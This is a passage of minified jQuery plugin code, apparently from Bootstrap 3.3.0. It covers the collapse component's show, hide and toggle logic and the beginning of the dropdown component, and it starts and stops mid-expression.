in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":a.extend({},e.data(),{trigger:this});c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){b&&3===b.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=c(d),f={relatedTarget:this};e.hasClass("open")&&(e.trigger(b=a.Event("hide.bs.dropdown",f)),b.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger("hidden.bs.dropdown",f)))}))}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.0",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a('